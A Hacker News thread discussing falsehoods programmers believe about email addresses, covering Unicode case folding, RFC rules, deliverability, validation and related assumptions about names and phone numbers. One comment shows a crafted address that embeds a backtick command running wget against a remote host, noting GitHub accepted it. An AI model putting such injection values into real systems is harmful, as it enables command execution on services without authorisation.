375 points · by tsujp · 4y ago · 352 comments
An email system that guarantees case-insensitive email addresses can still fail during comparisons of lowercase-to-lowercase, due to international encodings, locales, I18N, L10N, etc.
Pseudocode:
string-compare-case-insensitive(x, y) => true // Right way
string-compare(lower(x), lower(y)) => false // Wrong way
It turns out this issue is called a "case folding non-deterministic" error, and is a broader issue with strings in general.For more about "case folding" with Unicode: http://www.unicode.org/Public/UNIDATA/CaseFolding.txt
For more about "non-deterministic" comparisons: https://www.postgresql.org/docs/current/collation.html#COLLA...
You shouldn't be comparing the mailbox part of email addresses at all other than as literal bytestrings: you cannot know what equivalence rules the mailserver for that domain uses.
The domain part can be equivalence-tested using the normal rules for domains though, including case insensitivity, IDN translation and punycode resolution.
You're right in general. In my specific post, I do know the equivalence rules, because I'm administering the mail system and working with its source code, and the documentation guarantees/requires that internally its email addresses are treated entirely as case-insensitive.
What I saw was source code comments about not using `lower(x)` nor Postgres module `citext`, and instead using Unicode case folding ICU and Postgres non-deterministic collations. In the end, what surprised me wasn't about email servers in general, it was about human languages with case folding.
It's hard to know what to do in practice, but this seems to be wrong according to https://www.rfc-editor.org/rfc/rfc6532#section-3.1: "normalization form NFC SHOULD be used".
However, if you just want to make sure this is the same user that signed in earlier, you get to chose what rules you want - it's their problem to some extent to remember what account name they gave you.
Not all providers are Gmail.
My point is that there is no standard that you can use to decide if two email addresses refer to the same inbox.
Each provider has their own rules for what emails they consider identical, and you need to either invent your own rules, or learn what theirs are, depending on why you are doing this.
Using Unicode aware string comparisons doesn't solve the issue any more than byte-wise comparison or ascii case-insensitive comparison.
Verbs and argument values (e.g., "TO:" or "to:" in the RCPT command and extension name keywords) are not case sensitive, with the sole exception in this specification of a mailbox local-part.
you can include quoted spaces, carriage returns and newlines (!)
Sure. At the user signup side, block emails that are too close in ways like case, but as a sender you should always treat them as unique emails.
Languages that don't have case is not an issue; the situations where a lowercase <-> uppercase mapping is not simple are actually not that many. It's not trivial, but not all that complex either. The most annoying part is Turkish, Azeri, and Lithuanian where the rules differ a bit but the used language is often unknown. For the purpose of matching things ("is this email address known in our system?") it's actually not that hard, since you can just treat several characters as identical (displaying text correctly to users is harder, but that's not important here).
I see this attitude in various situations, often under "falsehoods programmers believe" articles, which goes something like "it's hard in a few rare cases, therefore we should not do it at all for the >99% cases where it's simple and unproblematic".
Yeah. That's fine.
If my email is LLLLLLLLLLLL@example.com because I want to be cute I have to tell people to type exactly the right number of L's. Do you think they should just be able to type a lot of L's and as long as it's somewhere near it counts as the same email address?
In a world where email addresses are always case sensitive, everyone will use lowercase (like they pretty much always already do anyway), and it'll be fine.
Ah, youth. There was little choice! Sometimes you had only six bits for a character; sometimes your bytes could be from 1-36 bits wide, depending on what you wanted for your program, so you might have systems that mixed six-bit (only upper case) and early ascii (two cases) and so for matching you had to be case insensitive.
It’s easy to look back and say “those people were so stupid” but they weren’t.
E-Mail wouldn't have been widely accepted with case sensitive addresses.
People expect that MyName@mail.com reaches the same person like myname@mail.com or Myname@Mail.COM just like letters reach their recipient irrespective of the upper and lower case of the recipient's name.
Computers are there to make the lives of the users easier, not the programmers.
However it being insensitive has probably helped a lot of times where people make mistakes in explaining or copying those capitals.
original ASCII only had uppercase. When lowercase got added, gradually with newer systems and software, without case insensitivity you would have had massive incompatibilities which probably would have hampered or even arrested the introduction of lowercase in new systems
and all over again, when microcomputers first came out, they came out with uppercase only to cut complexity and cost on simple systems.
Fun fact: the reason we pronounce "ph" like "f" is because the Greek letter was originally pronounced like p-h, at the time Romans began stealing words, but then the Greeks started pronouncing it like "f" and the Romans followed suit, but kept the old Latinization of "ph", because they'd already carved it into stone.
English spelling is largely phonetic... but it captures the phonetic spelling across dozens or hundreds of shifts in the spoken language. Unless you can stop people from changing how they speak, any phonetic spelling reboot is either going to suffer from the same problem, or words will constantly change how they are spelled to keep up with the spoken word.
This is already how it works. Senders are not supposed to assume that local-parts are case-insensitive. (Some buggy implementations ignore this requirement and upper-case everything, but the serious implementations don’t).
You also don't get to argue with the fusional position changes in Arabic, or the ligatures in Devanagari, or the places within a square the featural particles of Hangul must be printed in.
These things aren't negotiable.
Of course, most languages aren't written at all ... or at least don't have a traditional written form that is sufficiently well established for someone to say that the "language" has case rather than a particular (proposed) way of writing it.
However, I rather suspect that the majority of languages in which books are published use some variant of the Latin alphabet and do, therefore, have case. (The only language I've heard of that uses the Latin alphabet without case is Lojban!)
On the other hand, if you weight languages by the number of (native) speakers, since about three quarters of the world's population lives in China, India, Pakistan, Bangladesh, Japan or Korea, probably it's true that most people don't use case in their main language.
Case is only used in a few alphabets, mainly Latin-, Cyrillic-, and Greek-derived ones.
what is inside that function?
func string-compare-case-insensitive(x, y) {
return lower(x) == lower(y) ? lower(x) == lower(y) : lower(x) == lower(y);
}
/sMore seriously, if you want to learn about this, one place is to look at OpenJDK's sources. E.g. here:
https://github.com/openjdk/jdk/blob/master/src/java.base/sha...
which calls: https://github.com/openjdk/jdk/blob/17283cfe4c697e2118f19992... and https://github.com/openjdk/jdk/blob/17283cfe4c697e2118f19992...
Or, more likely, by using a library like ICU.
> the full case foldings are superior: for example, they allow "MASSE" and "Maße" to match.
-Static IP (4 and 6)
-Correct Reverse DNS for IP4 and 6
-Correct Hostname
-Site-verification for gmail/microsoft
-DMARK
-DKIM
-SPF for IP4 and 6
Reallocate new IP
>domain name doesn’t get blocked for being too algorithmic looking according to the spam ML model
Check your domain on your own SpamD/Spamassasin but i never had that problem.
>And your domain is old enough not to get greylisted
Everything is greylisted at first contact, email servers don't know how "old" a domain is.
>And not too many of your users get reported as spam.
Yes you can be a spam-bot too, that's why you check your outgoing emails for spam too and limit the recipients and mail frequency outside your domain.
>And your domain isn’t in .ru or .cn
That's another problem, i talk about technical stuff and not political ones, if your recipient don't want Chinese mails than this is your (or his) (non-)problem, that's a human problem.
>And your netblock isn’t accidentally put into those regions in maxmind.
Change your VPS-Provider, they are plain incapable -> https://www.maxmind.com/en/geoip-data-correction-request
There's no point accusing me of not being able to do things here - I've run my share of mail servers.
You could have given that example and one could understand what you mean:
>can't randomly put any address they want into PHP's mail() function (without telling anyone)
"Your random VPS can just send email from any address you like and expect it to be delivered"
You're response backs up the parent's point, that a lot of developers don't realise that you have to do all those things to stand any chance of reliable email delivery.
Too many people think you can just slap a mail server on a VPS and expect it to be able to reliably deliver mail.
Depends on how you parse "slap".
Fortunately I still only have a couple clients so no one was the wiser.
UPDATE: It ended up in a simple scare, nothing was affected and I'm not in any list that I know of, in case you're wondering
Like the small 1024-bit DKIM because older system (hello exchange) don't accept the 4096 standard.
BTW: That's a good delivery-basetest for your mails you should get a 10/10
Users always have immediate access to their mailboxes
I imagine lots of people do not have their email account attached to their phone, people maybe on a shared computer (library perhaps) and do not readily have access to the password (if it's randomly generated and stored at home) or their mail provider is blocked where they are (things like Hotmail etc. were blocked whilst I was in education)
I'd say there's lots of services that require you to validate your email address immediately after signing up - even where an email address is not required by the service itself - having a grace period to verify you email in such circumstances is great, but see it very infrequently.
[0]: https://www.bleepingcomputer.com/news/security/hackers-can-h...
I certainly don't.
My current employer autogenerated a company email address for me including the apostrophe in my last name. I couldn't believe that was a legal character, but I looked it up, and sure enough it is. Of course, plenty of other internal systems reacted the same way I did, and I frequently generate errors whenever I try to register myself with random services :p
(“Little Bobby Tables” from xkcd comes to my mind whenever I see these restrictions)
If you are buying software from them, it's probably bad. But I don't think it's a reliable indicator for companies in general.
Note that allowing Unicode Letter characters is a whole different topic, and in fact much less risky than allowing random punctuation. At least for the vast majority of people, this is much more important to personal identity than having your name spelled without a quote mark that will anyway confuse numerous systems where you may want access.
I hate this. Motivated attackers can trivially circumvent it at minimum effort and cost while it further normalizes centralization and strengthens surveillance capitalism as the barrier to use unlinkable e-mail for different service providers for a normal person becomes untenable (curiously equally disposable domains from major providers are absent from most of these lists, supposedly precisely because it is disruptive). I'm ambivalent on even sharing the link for the risk of a dev reading this going "oh, neat!"...
[0]: https://github.com/disposable-email-domains/disposable-email...
"I Knew How To Validate An Email Address Until I Read The RFC"
https://haacked.com/archive/2007/08/21/i-knew-how-to-validat...
There are MX records at the apex of .ai, so postmaster@ai probably works.
For all practical purposes for public services, it's a "truth", with the biggest real-world exception being "user@localhost" and such for local email delivery (or email delivery inside your network).
"ai" is not valid but "ai." is.
Though I suspect a lot of software is quite lenient.
Imho it's more important to allow a user to fix a mistake: "We sent you a confirmation e-mail to $email_address. Spotted a mistake? Click here to change your email address."
The @ itself is optional (I believe the RFC disagrees, but on practice it is), but if it's there, there must be something after it too. So the only really required "field" is the one before the @.
This one hit me. My grandparents share a computer and one email address (just as they share one physical address and phone number), you wouldn't believe how many services, including Google, fails this rather simple test.
And in case you think this is a weird one: until not that long ago, every way to contact people where to the house they stayed in. Letters typically had a name, but if you were married and had shared accounts, either person could need to read those letters.
That's unfortunate because those articles are very valuable to anyone building software.
I actually meet the reverse more often: Every student has an .edu.
I think only _some_ american college students can be expected to have an e-mail address.
Oh that makes me think of another: Anyone with a university email address is still a student/faculty member!
At least you have a common suffix. Around here, a student at the computer science department of the federal university of the Rio de Janeiro state (UFRJ) could have an email at the domain dcc.ufrj.br; yes, universities which got on the Internet early enough have their domains directly on the ccTLD.
Actually, it does seem that they have a .edu now. I guess those aren't restricted to US-based institutions anymore?
My uni offered lifetime email forwarding from out edu address as far back as 1999. I haven't had anything to do with them since them.
Yep. I rarely log in to it now, but my @email.arizona.edu address is still alive and well, 9 years after leaving the university.
> Everyone has exactly one email address
You'd be hard pressed to find anyone who's at all component with the internet who thinks that this is true, nevermind a programmer.
Maybe we need a 'Falsehoods writers of articles believe about falsehoods':
> You can just put any false statement in the list, even if no-one actually believes it and it will improve your article.
To me, someone baking in "one email address per user" or "no numeric/symbols" feels different — they're not being caught out by tricky real-world data that they forgot to consider, they're just deliberately cutting a corner (e.g. our company naming policy is '[firstname][lastname]' so we're not going to bother supporting numeric input in the intranet input field).
If an automotive engineer put a battery in an electric car that gave a capacity of 200mi trip, no-one would say "Engineers believe every road has a charging station at least every 200mi".
>> Everyone has exactly one email address
> You'd be hard pressed to find anyone who's at all component with the internet who thinks that this is true, nevermind a programmer.
On a related note, there are people without an email address who still use the web applications and smartphone apps that require accounts and/or notifications. In some (or most?) developing countries, people use phone numbers as the login identifier and may not have an email address (or not know that they have one and what to do with it).
So, to text a phone number an email at Verizon is 1234567890@vtext.com, only textual emails can be received, no html IIRC.
I mean, it is. Either you email will be delivered successfully, or you get a message that it couldn't be delivered. If disappears without trace, then most likely system administrator has manually deleted it
And that is without considering the same issues with the MUA, assuming your message is for human consumption and your aren't using SMTP to communicate between automated agents) at the other end having it's own spam/junk/other filtering (though I suppose you could consider that later part to not be email transport begin unreliable, i.e. if you consider successful transport to be "the user saw it" or "their mail server time their MUA it existed").
The only reliable bit of email transfer is the little bit you have full control over, the local MTA. Even then, if you are in a shared hosting environment where you don't control that yourself this could still silently reject your messages (a consideration you might need to make if publishing software others may self-host).
Unfortunately email is very centralized nowadays and companies known for bad behavior in general (and deleting emails without telling anyone in particular) now control too many mailboxes.
"An email address is the global standard to sign up for applications/services"
False in China, where the norm is to use their phone number. Doesn't mean they don't have an email address somewhere, but it's not how they sign up or sign in, typically.
>Anyone with a .edu address is a student >Anyone with a .edu address is a student or faculty
I dont think most people believe that, but its a easy filter if you want to give rebates to students and they dont cost you too much, like dropbox giving increased free quota to people who sign up with a .edu
As you said though, its a simple test, and if you don't think about it too much, its too easy to just test the email ends in .edu and move onto the next task.
And I'm not even sure what this "everyone has exactly one email address" is about.
Tl;dr it’s intended for messages with multiple collaborating authors, but is rarely used in practice.
> An email address like ^_^@example.com or +&#@example.com is invalid
Is basically a self fulfilling belief - enough systems will reject such an address that it’s effectively unusable.
That it sometimes without discernible pattern does the same thing to a mailing list I repeatedly told it to mark as not spam is comparatively sane behavior I've come to accept over time. Keeps me on my toes I guess.
If you now know a system is full of edge and corner cases what should you do? (Feel free to expound beyond the email case)
Some strategies for discussion:
- Don't roll your own
The system is too complex to attempt to build yourself. Find libraries or services to do it for you.
- Start flexible then patch
Build a system which is designed specifically to change and only handle the most obvious cases to start. As users complain, patch.
- Disallow complexity
Build a strict system which does not and will not support corner cases in favor of consistency.
- OtherThe amount of wrong emails I get to [myname]@[major email domain] is quite surprising. I don't know if someone with my name just doesn't know their email address, or the people who input it are careless.
That one bites me constantly because I have remote content disabled and financial institutions use web beacons to verify that I'm reading their emails. If they think I'm not reading them, they start sending me paper snail mail again.
The tech worked, I created lovely graphs of conversations but it was far more rare to find hits than expected.
I came to find that almost nobody was sending and receiving emails from external domains. (I also discovered I did not want to know what people were doing with their work email.)
I eventually did figure out the issue. People use aliases for external communications to protect their inbox and create rules around it. Two or more email addresses per account is quite common.
This was a lot harder to solve. Not because I couldn’t create that mapping technically, but because I had to go out and collect everyone’s aliases through user input.
So I’ll add that email addresses correspond to unique accounts.
This can vary by tool too. With SQL Server the default for an [N]VARCHAR value if not length is specified is 30 characters (this means CAST/CONVERT can unexpectedly truncate without error which sometimes causes interesting problems to debug), though if you are creating a table in some of the standard tools many of them default to 50.
Though scanning the RFCs to verify other comments in this thread I note that local-part has a 64-byte limit which I was not aware of (or once knew but have forgotten). And it is explicitly stated as 64 octets not 64 characters, so beware of the possibility of non-ASCII characters when validating (I suspect many regexs attempting to validate addresses will get this wrong or not enforce it at all).
- Everyone has a phone number
- Everyone has a US phone number
- Everyone has a mobile phone number
- Everyone has only 1 phone number
- Everyone can receive SMS
- Everyone can receive SMS at all times
- Everyone has a fixed residential address
- Everyone can check their snail mail
- Everyone sits at home all day and never travels
(Edited to add) This list is good, but is perhaps overly generous - it leaves off the most common irritant: programmers who believe that all phone numbers are exactly 10 digits, American-style, even if there is a country code dropdown.
https://github.com/google/libphonenumber/blob/master/FALSEHO...
- Everyone has a usable phone number, a residential address that conforms to your validation criteria and can receive SMS - when transiting through an international airport and attempting to use the Wi-Fi.
- Nobody's phone number has a space in it
Sometimes the phone-number input field won't let me type the last digit, unless I first remove the space. Sometimes it declares the number invalid if it doesn't have a space. The form never has hints as to what they consider a valid phone-number to look like.
> All email comes from a .com, .net, .edu, or .org address
Hah. Tell me you're american without telling me you're american
> Email is a reliable transport
> Email is an instantaneous transport
> Emails will be sent within a few minutes of their scheduling
> Emails will be sent within a few hours of their scheduling
> Emails will be sent within a few days of their scheduling
Replace 'email' with SMS and the list also applies
I mean… By definition, encrypted is encrypted. So I guess that depends on what you mean by “secure”
Meanwhile we continue to have users who click on phishing emails, real and test.
`wget${IFS}r.vc/ghe`@ryanc.org
GitHub's systems were happy to verify it.Something where you can just declare a domain, pay a fee, gain reputation. Aren't those free or in the public domain?
Something with some sort of certificates?
Maybe it would also be a good solution to let users "add" an email contact or sub domain and only receive email from those, and treat unknown emails as untrustworthy.
There's also companies that don't allow some words in email addresses. For example, on AliExpress, you can't use 'aliexpress' in your address.
I’m curious about this one. I’m presuming it doesn’t just mean email clients that support a processed version of MIME messages (e.g. a client that talks JMAP), but I’m not sure what else would be intended.
Names are different bc there are presumably legal/cultural protections around them.
like, black/whitelist of regexes of emails-strings they just drop or domains they accept from, or headers they drop, or that they only accept mails which are signed by key x,y,z.
with that at least we could formalize that problem and services know what to expect.
A specific type of these are family email addresses. A pain to handle sometimes.
Emails - extremely cheap if compare with any other ads method. Extremely effective, good to scale and gives much more results, that all known and tried ads networks with big budgets.
What about the topic -> all of that info related to 90% of users. Most of normal casual users has one email, and all stuff mentioned in the topic.
Very rare cases when something else. The list more about exceptions, instead of real life
The truth is, I hope we all know, that the email is in a large pool of other stuff, it's like trying to find the right person at a football match!
It becomes hard then to draw attention to something important when everyone else thinks their email is more important than yours.
- people know their e-mail address
The end goal of most software is to weed out bogus email addresses, not to weed out email addresses that don't match the standard. "a@a.com" is a valid email address according to RFC 5322. But when a user provides such an address, you can be 99.9999% certain that it is neither the user's address, nor anyone else's.
Many programmers are very much aware that "mymail@[123.123.123.123]" is technically a valid email, but allowing such addresses invariably leads to spam and service abuse, for virtually no benefit. Restricting accepted addresses to "normal" ones is common sense, not a falsehood. The same is true for many of the other supposed mistakes pointed out in the article.
In the case of a@a.com, that's just someone not wanting to give an email address. You can block it with validation rules, but they'll just use some random but not real address like noemailforyou@gmail.com instead. The validation achieves nothing except annoying the user, really annoying anyone whose legitimate address is blocked as a false positive, and makes your email address database harder to clean up if you ever want to send an email to everyone.
Blockimg emails because they're "not normal" is validation theatre. It doesn't stop anyone nefarious or who wants privacy, it doesn't stop spammers, and it does stop rare cases of people with weird email accounts.
Attempting to block any email will always be erroneous and pointless - heck, in this day and age, use of gmail.com or outlook.com is a bigger cause for suspicion than a "weird" address, as the big providers are usually the ones used for malicious activities in order to blend in. By trying to be "smart" with a heuristic, all you're doing is exclude a lot of real users.
If you want to guard against "a@a.com", the only sensible and bullet-proof solution is a simple email validation flow as indeed the only thing you can assume about a valid address is that the user should be able to read email sent to that address.
If worried about generating spam from such flow from malicious users, implement rate limits per target address and source IP.
Users also expect email validation at this point and will most likely provide a valid, routable email if they didn't make a typo. a@a.com rarely flies nowadays.
That depends on what you mean by "get away". Plenty of large-scale software systems implement some of the "falsehoods" mentioned in the article. Those systems still operate, so they seem to "get away" with it just fine.
The worldview underlying articles like this one, which I believe is itself a mistake, is that software must be able to accommodate 100% of cases encountered in the real world. But no system, past or present, does that. In the end, it's always users that end up adapting to the system instead. There are countless examples for this, such as people who have no last name filling in their name as both first and last names so they can apply for a passport which requires those fields to be filled.
When someone doesn't fill in the "last name" field on a passport application form, it's much more likely that they overlooked the field than that they actually don't have a last name. When someone provides "mymail@[123.123.123.123]" in an online signup form, it's much more likely that they are trying to do something fishy than this actually being their email address. And that's reason enough to reject such emails outright, without even bothering with the usual validation flow.
The mistake I believe you are making is removing users from the set you accommodate with absolutely no valid reason or gain.
Sure, there can be valid reasons to discriminate against users, but you better have a valid reason with no non-descriminating option available.
When it comes to email, not only is the discriminating approach completely broken, the non-discriminating approach is free of any problems, and will likely be implemented anyway!
> When someone provides "mymail@[123.123.123.123]" in an online signup form, it's much more likely that they are trying to do something fishy than this actually being their email address.
So people with addresses you do not consider normal must be doing fishy things?
In 2022, fishy things are done with gmail.com addresses as they go unnoticed, are easy to issue and are universally accepted and deliverable. People don't use addresses that raise eyebrows when they're trying to go unnoticed.
> When someone doesn't fill in the "last name" field on a passport application form, it's much more likely that they overlooked the field than that they actually don't have a last name.
Not a valid argument as we can test emails trivially but not test names without very specific registry accesses.
... But this is also a perfect example of an incorrect heuristic. Hopefully you do not consider it fair to exclude all members of societies that do not use last names as fair? That's far more grotesque than your email example after all, and fairly illegal under most anti-discrimination laws out there.
Instead, add a checkbox for "I do not have a last name" if you think that failing to enter your last name is a common enough error to bother those without.
I was not amused.
While the argument that supporting all valid email addressing may not be the best idea, holding a uniform standard across your own systems is.
At this point, I also don't really care if your client can't read HTML MIME, again upgrade it or don't get the message.
* assuming I am not sending it to you specifically, in which case you are a friend and you are that important.
Though there might be an use case where those 'weirder' emails get accepted. Correct, for your average "sign up here" website, no.
But for example, where the receiving side is an automated mailbox, you might want to be more careful accepting 'weird' emails
When asking users for their email address, you must:
make it clear why you’re asking
make sure the field works for all of your users
help users to enter a valid email address
You may also need to check that users have access to the email account they give you.
and here [1] is the github issue tracker for discussing email address patterns accepted by government services.In respect of people without both first and last names, I resemble those remarks! I've dealt with broken computer systems since the 1990s that assume first+last (or even first+middle+last !), or set an arbitrary minimum length, and break when meeting me ("Tj") !
Worst cases for this are web services that set arbitrary rules for the name on a credit card (which can be almost anything by the rules and guidelines and should be free-form) - I had this only yesterday with onlyfans.com not accepting my name as it appears on the card because their rules impose first " " last format.
The double-abuse of the customer then comes when the first-line support, when told precisely what the problem is, and "please let your web-devs know", gets the response "Use a different card". Turned out that onlyfans.com (or their provider) don't even ensure the name matches when actually doing the authorisation since I put something random in for first-name and it was authorised.
I've discussed this in detail with my various bank's technical teams over the years and they've confirmed it usually isn't their side doing a DECLINE; it's the requesting service applying overly-strict arbitrary rules before deciding to make the authorisation request.
Again, GDS has recommendations (and consider this is for government services) for accepting names in free-form, not split into fields[2]. and says this:
Use single or multiple fields depending on your user’s needs. Not everyone’s name fits the first-name, last-name format. Using multiple name fields mean there’s more risk that a person’s name will not fit the format you’ve chosen and that it is entered incorrectly.
In my case in the U.K. the passport office telephoned me once, for my first digital passport in the 1990s, asking rather apologetically if I'd mind them putting X's in the first name since their computer system couldn't cope with it being empty. Whereas the U.K. Driver and Vehicle Licencing Agency (DVLA) has no problem at all and shows my legal name correctly on my driving licence.Two annoying exceptions (not strictly government created/operated) are the internal (local) NHS registration system and some local authority (local council) electoral role (voter registration) systems that do it badly - usually due to having bought in an external 'enterprise' application to handle it, or trying to interface many disparate systems.
Generally, over the last 25+ years, I've found government organisations are great at handling these corner cases but random private sector / out-sourced development is worst.
Getting traction to get things fixed is the hardest part - being treated as dumb (usually by first-line support and their 'managers') when I set out a clear case and rationale for the bug and how to fix it has to be amongst my least favourite voluntary community-spirited endeavours. The short-cut I apply there, now, is a an email CC-ed to the organisation head (chair, CEO) and senior legal person.
There is an up-side to it though - I rarely if ever suffer any kind of spam or phishing and anyone trying identity theft will have to have much more determination than me to overcome all the obstacles :P
[0] https://design-system.service.gov.uk/patterns/email-addresse...
[1] https://github.com/alphagov/govuk-design-system-backlog/issu...
It actually is. Well, the protocol is. Gmail and Outlook is not.
It is reliable enough in real life with everything set up properly, that’s true. If mail going to spam can be counted as delivered.
1) are a programmer
2) use e-mail regularly
3) have configured an e-mail client
4) care about how things work
5) have received spam e-mail (including spoofed e-mail)
...It is hard for me to believe that you can believe those falsehoods.
If it was renamed "Things About Email Programmers Have To Repeatedly Tell Designers And Managers" that might be more accurate.
* all (or even most) engineers and other technical persons know and understand the details of mail exchange
I do, but I wouldn't expect all to have much understanding and I wouldn't expect most to know a lot of the finer detail. Heck, I think I've just learned that local-part has a 64 octet limit (or if I already knew it I'd forgotten).
raises hand
> It is valid to remove +suffixes from email addresses (e.g. john+doe@example.com → john@example.com)
It is always valid to strip the +suffix. People won't like it, but the RFC says that part is always optional.
[1] RFC5321 "the local-part MUST be interpreted and assigned semantics only by the host specified in the domain part of the address"
"Consequently, and due to a long history of problems when intermediate hosts have attempted to optimize transport by modifying them, the local-part MUST be interpreted and assigned semantics only by the host specified in the domain part of the address."
No, it most certainly does not. If you think it does, please point to the relevant section in RFC 5321 or RFC 5322.
I've only had a single (government) organization refuse to leave the dot in my address, so I had to special case them.